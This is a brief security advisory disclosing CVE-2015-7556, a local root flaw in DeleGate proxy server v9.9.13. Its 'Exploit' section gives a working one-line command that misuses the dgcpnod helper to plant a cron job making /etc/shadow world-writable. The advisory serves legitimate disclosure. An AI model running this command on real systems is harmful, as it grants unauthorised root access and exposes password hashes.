Local root vulnerability in DeleGate v9.9.13

#907 · 2015-12-17

CVE ID(s): CVE-2015-7556

Notified: 2015-12-17

Description:

DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient.

Exploit:

$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme

Download: http://www.delegate.org/delegate/download/

URL: http://www.vapidlabs.com/advisory.php?v=159